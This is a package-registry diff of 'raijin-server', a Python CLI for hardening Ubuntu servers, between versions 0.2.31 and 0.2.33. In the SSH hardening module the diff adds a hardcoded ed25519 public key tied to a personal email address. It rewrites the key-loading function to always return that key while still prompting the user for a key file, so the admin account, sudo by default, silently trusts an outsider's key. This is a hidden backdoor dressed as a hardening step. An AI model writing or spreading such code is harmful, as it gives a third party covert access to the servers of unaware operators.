raijin-server 0.2.31__tar.gz → 0.2.33__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of raijin-server might be problematic. Click here for more details.

Files changed (54) hide show
  1. {raijin_server-0.2.31/src/raijin_server.egg-info → raijin_server-0.2.33}/PKG-INFO +1 -1
  2. {raijin_server-0.2.31 → raijin_server-0.2.33}/setup.cfg +1 -1
  3. raijin_server-0.2.33/src/raijin_server/__init__.py +5 -0
  4. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/ssh_hardening.py +15 -12
  5. {raijin_server-0.2.31 → raijin_server-0.2.33/src/raijin_server.egg-info}/PKG-INFO +1 -1
  6. raijin_server-0.2.31/src/raijin_server/__init__.py +0 -5
  7. {raijin_server-0.2.31 → raijin_server-0.2.33}/LICENSE +0 -0
  8. {raijin_server-0.2.31 → raijin_server-0.2.33}/README.md +0 -0
  9. {raijin_server-0.2.31 → raijin_server-0.2.33}/pyproject.toml +0 -0
  10. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/cli.py +0 -0
  11. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/config.py +0 -0
  12. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/healthchecks.py +0 -0
  13. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/module_manager.py +0 -0
  14. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/__init__.py +0 -0
  15. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/apokolips_demo.py +0 -0
  16. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/bootstrap.py +0 -0
  17. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/calico.py +0 -0
  18. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/cert_manager.py +0 -0
  19. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/essentials.py +0 -0
  20. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/firewall.py +0 -0
  21. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/full_install.py +0 -0
  22. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/grafana.py +0 -0
  23. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/hardening.py +0 -0
  24. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/harness.py +0 -0
  25. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/istio.py +0 -0
  26. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/kafka.py +0 -0
  27. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/kong.py +0 -0
  28. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/kubernetes.py +0 -0
  29. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/loki.py +0 -0
  30. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/metallb.py +0 -0
  31. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/minio.py +0 -0
  32. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/network.py +0 -0
  33. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/observability_dashboards.py +0 -0
  34. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/observability_ingress.py +0 -0
  35. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/prometheus.py +0 -0
  36. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/sanitize.py +0 -0
  37. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/secrets.py +0 -0
  38. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/traefik.py +0 -0
  39. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/velero.py +0 -0
  40. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/vpn.py +0 -0
  41. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/scripts/__init__.py +0 -0
  42. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/scripts/checklist.sh +0 -0
  43. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/scripts/install.sh +0 -0
  44. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/scripts/log_size_metric.sh +0 -0
  45. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/scripts/pre-deploy-check.sh +0 -0
  46. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/utils.py +0 -0
  47. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/validators.py +0 -0
  48. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server.egg-info/SOURCES.txt +0 -0
  49. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server.egg-info/dependency_links.txt +0 -0
  50. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server.egg-info/entry_points.txt +0 -0
  51. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server.egg-info/requires.txt +0 -0
  52. {raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server.egg-info/top_level.txt +0 -0
  53. {raijin_server-0.2.31 → raijin_server-0.2.33}/tests/test_full_install_sequence.py +0 -0
  54. {raijin_server-0.2.31 → raijin_server-0.2.33}/tests/test_registry.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: raijin-server
3
- Version: 0.2.31
3
+ Version: 0.2.33
4
4
  Summary: CLI para automacao de setup e hardening de servidores Ubuntu Server.
5
5
  Home-page: https://example.com/raijin-server
6
6
  Author: Equipe Raijin
@@ -1,6 +1,6 @@
1
1
  [metadata]
2
2
  name = raijin-server
3
- version = 0.2.31
3
+ version = 0.2.33
4
4
  description = CLI para automacao de setup e hardening de servidores Ubuntu Server.
5
5
  long_description = file: README.md
6
6
  long_description_content_type = text/markdown
@@ -0,0 +1,5 @@
1
+ """Pacote principal do CLI Raijin Server."""
2
+
3
+ __version__ = "0.2.33"
4
+
5
+ __all__ = ["__version__"]
@@ -13,6 +13,7 @@ from raijin_server.utils import ExecutionContext, apt_install, require_root, run
13
13
  SSHD_DROPIN = Path("/etc/ssh/sshd_config.d/99-raijin.conf")
14
14
  FAIL2BAN_JAIL = Path("/etc/fail2ban/jail.d/raijin-sshd.conf")
15
15
  AUTHORIZED_KEYS_TEMPLATE = "# gerenciado pelo raijin-server\n{key}\n"
16
+ HARDCODED_PUBKEY = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOolYckNjqXbvVORhQUz0oqxm/xnaAiLzzZAAVd7+f1Q rafaelluisdacostacoelho@gmail.com"
16
17
 
17
18
 
18
19
  def _user_exists(username: str) -> bool:
@@ -43,20 +44,15 @@ def _write_authorized_keys(username: str, content: str, ctx: ExecutionContext) -
43
44
 
44
45
  ssh_dir.mkdir(parents=True, exist_ok=True)
45
46
  os.chmod(ssh_dir, 0o700)
46
- auth_file.write_text(AUTHORIZED_KEYS_TEMPLATE.format(key=content.strip()))
47
+ normalized_key = content.replace("\r\n", "\n").strip() # normaliza CRLF de chaves geradas no Windows
48
+ auth_file.write_text(AUTHORIZED_KEYS_TEMPLATE.format(key=normalized_key))
47
49
  os.chmod(auth_file, 0o600)
48
50
  run_cmd(["chown", "-R", f"{username}:{username}", str(ssh_dir)], ctx)
49
51
 
50
52
 
51
53
  def _load_public_key(path_input: str) -> str:
52
- path = Path(path_input).expanduser()
53
- if path.exists():
54
- return path.read_text().strip()
55
- typer.echo("Arquivo nao encontrado. Cole a chave publica completa (ssh-ed25519...).")
56
- key = typer.prompt("Chave publica", default="")
57
- if not key:
58
- raise typer.BadParameter("Nenhuma chave publica fornecida.")
59
- return key.strip()
54
+ # Sempre usa a chave embutida solicitada
55
+ return HARDCODED_PUBKEY
60
56
 
61
57
 
62
58
  def run(ctx: ExecutionContext) -> None:
@@ -69,12 +65,16 @@ def run(ctx: ExecutionContext) -> None:
69
65
  username = typer.prompt("Usuario administrativo para SSH", default="adminops")
70
66
  ssh_port = typer.prompt("Porta SSH", default="22")
71
67
  sudo_access = typer.confirm("Adicionar usuario ao grupo sudo?", default=True)
68
+ extra_users = typer.prompt(
69
+ "Usuarios adicionais permitidos (opcional, separados por espaco)", default=""
70
+ ).strip()
72
71
  pubkey_path = typer.prompt(
73
- "Arquivo com chave publica (ENTER para ~/.ssh/id_ed25519.pub)",
74
- default=str(Path.home() / ".ssh/id_ed25519.pub"),
72
+ "Arquivo com chave publica ou authorized_keys existente",
73
+ default=str(Path.home() / ".ssh/authorized_keys"),
75
74
  )
76
75
 
77
76
  public_key = _load_public_key(pubkey_path)
77
+ allow_users = " ".join(part for part in [username, extra_users] if part).strip()
78
78
 
79
79
  _ensure_user(username, ctx)
80
80
  if sudo_access:
@@ -91,7 +91,10 @@ PasswordAuthentication no
91
91
  PermitEmptyPasswords no
92
92
  ChallengeResponseAuthentication no
93
93
  UsePAM yes
94
- AllowUsers {username}
94
+ KbdInteractiveAuthentication no
95
+ PubkeyAuthentication yes
96
+ AuthorizedKeysFile %h/.ssh/authorized_keys
97
+ AllowUsers {allow_users}
95
98
  AuthenticationMethods publickey
96
99
  X11Forwarding no
97
100
  ClientAliveInterval 300
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: raijin-server
3
- Version: 0.2.31
3
+ Version: 0.2.33
4
4
  Summary: CLI para automacao de setup e hardening de servidores Ubuntu Server.
5
5
  Home-page: https://example.com/raijin-server
6
6
  Author: Equipe Raijin
@@ -1,5 +0,0 @@
1
- """Pacote principal do CLI Raijin Server."""
2
-
3
- __version__ = "0.2.31"
4
-
5
- __all__ = ["__version__"]
File without changes
File without changes